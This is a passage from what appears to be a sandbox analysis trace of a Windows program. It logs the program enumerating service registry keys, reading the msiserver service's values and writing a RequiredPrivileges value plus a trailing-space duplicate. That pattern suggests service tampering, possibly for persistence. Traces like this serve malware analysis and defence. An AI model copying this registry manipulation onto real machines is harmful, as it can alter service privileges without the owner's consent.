cchName=0x104 | out: lpName="crypt32") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0188.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0188.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0188.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0188.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0188.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0188.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0188.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0188.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0188.344] RegOpenKeyExW (in: hKey=0x140, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0188.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0188.344] RegCloseKey (hKey=0x140) returned 0x0 [0188.345] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0188.345] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0188.345] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0188.345] RegCloseKey (hKey=0x80000002) returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0188.345] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0188.346] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0188.346] RegCloseKey (hKey=0x9c) returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0188.346] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0188.346] RegCloseKey (hKey=0x140) returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0188.346] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0188.347] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0188.347] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0188.347] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0188.347] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0188.347] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0188.347] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.347] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.347] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.347] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.347] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.347] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.348] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.348] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.348] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.348] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.348] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.348] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0188.348] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0188.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0188.348] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0188.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.349] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", 